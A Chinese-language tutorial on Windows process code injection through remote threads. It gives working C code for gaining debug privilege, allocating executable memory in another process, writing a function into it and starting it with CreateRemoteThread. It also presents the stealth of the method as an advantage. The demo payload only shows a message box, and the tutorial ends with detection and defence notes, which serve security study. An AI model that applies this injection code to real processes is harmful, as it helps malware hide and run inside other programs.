进程注入:通过远程线程注入代码
字数 1220 2025-08-26 22:11:57
进程注入技术详解:通过远程线程实现代码注入
概述
进程注入是一种将代码注入到其他进程内存空间并执行的技术。与DLL注入相比,代码注入具有以下优势:
- 体积更小,更加隐蔽
- 注入的代码隐藏在进程内存中,不易被发现
- 不会留下明显的DLL加载痕迹
技术原理
核心API函数
- CreateRemoteThread:在目标进程中创建远程线程
- VirtualAllocEx:在目标进程中分配内存空间
- WriteProcessMemory:向目标进程内存写入数据
- OpenProcess:打开目标进程句柄
- LoadLibrary/GetProcAddress:动态加载DLL和获取函数地址
注入流程
- 提升当前进程权限(获取调试权限)
- 打开目标进程获取句柄
- 在目标进程中分配内存并写入注入代码
- 在目标进程中分配内存并写入代码所需参数
- 创建远程线程执行注入代码
- 等待线程执行完成并清理资源
代码实现详解
参数结构体定义
typedef struct _PARAMENT {
FARPROC pLoadLibrary; // LoadLibraryA函数地址
FARPROC pGetProcessAddress; // GetProcAddress函数地址
char DllName1[LENGTH]; // 需要加载的DLL名称(如"user32.dll")
char FuncName[LENGTH]; // 需要调用的函数名称(如"MessageBoxA")
char Content[LENGTH]; // MessageBox显示内容
char title[LENGTH]; // MessageBox标题
} RemoteParament, *pRemoteParament;
权限提升函数
BOOL EnableDebugPriv() {
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
// 1. 打开当前进程的访问令牌
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
printf("提权失败\n");
return FALSE;
}
// 2. 查找SE_DEBUG_NAME权限对应的LUID
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
CloseHandle(hToken);
printf("提权失败\n");
return FALSE;
}
// 3. 设置令牌特权
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 4. 调整令牌特权
if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
printf("提权失败\n");
CloseHandle(hToken);
} else {
printf("提权成功!\n");
return TRUE;
}
}
线程注入函数
DWORD WINAPI ThreadProc(LPVOID ThreadPara) {
pRemoteParament para = (pRemoteParament)ThreadPara;
// 声明函数指针
HMODULE (WINAPI *fpLoadLibrary)(LPCSTR);
FARPROC (WINAPI *fpGetProcAddress)(HMODULE, LPCSTR);
int (WINAPI *fpMessageBox)(HWND, LPCSTR, LPCSTR, UINT);
// 赋值函数指针
fpLoadLibrary = (HMODULE(WINAPI *)(LPCSTR))para->pLoadLibrary;
fpGetProcAddress = (FARPROC(WINAPI *)(HMODULE, LPCSTR))para->pGetProcessAddress;
// 加载DLL并获取函数地址
HMODULE hMod = fpLoadLibrary(para->DllName1);
fpMessageBox = (int(WINAPI *)(HWND, LPCSTR, LPCSTR, UINT))fpGetProcAddress(hMod, para->FuncName);
// 调用目标函数
fpMessageBox(NULL, para->Content, para->title, MB_OK);
return 0;
}
主注入函数
BOOL Inject(DWORD dwPID) {
// 1. 打开目标进程
if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) {
printf("open process failed!\n");
return FALSE;
}
// 2. 准备参数结构体
RemoteParament para = {0};
HMODULE hMod = LoadLibrary(L"kernel32.dll");
para.pLoadLibrary = (FARPROC)GetProcAddress(hMod, "LoadLibraryA");
para.pGetProcessAddress = (FARPROC)GetProcAddress(hMod, "GetProcAddress");
strcpy_s(para.DllName1, "user32.dll");
strcpy_s(para.FuncName, "MessageBoxA");
strcpy_s(para.Content, "code inject!");
strcpy_s(para.title, "inject");
// 3. 在目标进程中分配内存并写入参数
LPVOID vPara = VirtualAllocEx(hProcess, NULL, sizeof(para), MEM_COMMIT, PAGE_READWRITE);
if(vPara == NULL) {
printf("para's virtual memory alloc failed!\n");
return -1;
}
if(!WriteProcessMemory(hProcess, vPara, (LPVOID)¶, sizeof(para), NULL)) {
printf("para's virtual memory write failed!\n");
return -1;
}
// 4. 在目标进程中分配内存并写入线程函数
// 计算线程函数大小(Release模式下有效)
DWORD dwSize = (DWORD)Inject - (DWORD)ThreadProc;
// 或者使用固定大小(0x4000)
LPVOID pRemoteThreadProc = VirtualAllocEx(hProcess, NULL, THREAD_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(pRemoteThreadProc == NULL) {
printf("threadproc's virtual memory alloc failed!\n");
return -1;
}
if(!WriteProcessMemory(hProcess, pRemoteThreadProc, (LPVOID)&ThreadProc, THREAD_SIZE, NULL)) {
printf("threadproc's virtual memory write failed!\n");
return -1;
}
// 5. 创建远程线程
HANDLE hThread = NULL;
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThreadProc, vPara, 0, NULL);
if(hThread) {
printf("non dll inject success.\n");
} else {
printf("inject failed!\n");
return FALSE;
}
// 6. 等待线程执行完成并清理
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
关键点解析
1. 函数地址计算
在目标进程中执行代码时,需要注意:
- kernel32.dll在每个进程中的加载地址相同,可以直接使用本进程中的LoadLibrary/GetProcAddress地址
- 其他DLL(如user32.dll)在不同进程中加载地址可能不同,需要在目标进程中重新加载和获取函数地址
2. 内存分配策略
注入时需要分配两种内存:
- 参数内存:存储注入代码需要的参数(PAGE_READWRITE权限)
- 代码内存:存储要注入的线程函数(PAGE_EXECUTE_READWRITE权限)
3. 线程函数大小计算
两种计算线程函数大小的方法:
-
地址相减法(推荐Release模式使用):
DWORD dwSize = (DWORD)Inject - (DWORD)ThreadProc;- 优点:精确计算函数大小
- 注意:必须在Release模式下编译,Debug模式可能包含调试信息导致计算错误
-
固定大小法:
#define THREAD_SIZE 0x4000- 优点:简单直接
- 缺点:可能分配过多内存,容易被检测
4. 64位兼容性
在64位系统上注入时需要注意:
- 编译环境必须与目标进程匹配(64位程序注入64位进程)
- 使用x64dbg等64位调试工具进行调试
- 数据类型大小可能不同(如指针大小)
调试与检测
调试技巧
- 使用x64dbg调试64位目标进程
- 设置"在新线程创建时中断"断点
- 观察内存分配和写入操作
- 跟踪远程线程执行流程
检测方法
- 检查进程中的异常内存区域(具有执行权限的内存)
- 监控CreateRemoteThread调用
- 检查VirtualAllocEx分配的可执行内存
- 分析线程创建行为
防御措施
- 使用DEP(数据执行保护)
- 启用ASLR(地址空间布局随机化)
- 监控可疑API调用
- 限制进程权限
- 使用代码签名验证
总结
通过远程线程实现代码注入是一种强大但潜在危险的技术。理解其原理和实现细节对于安全研究和防御开发都至关重要。在实际应用中,应当遵守法律法规,仅用于合法授权的安全测试和研究目的。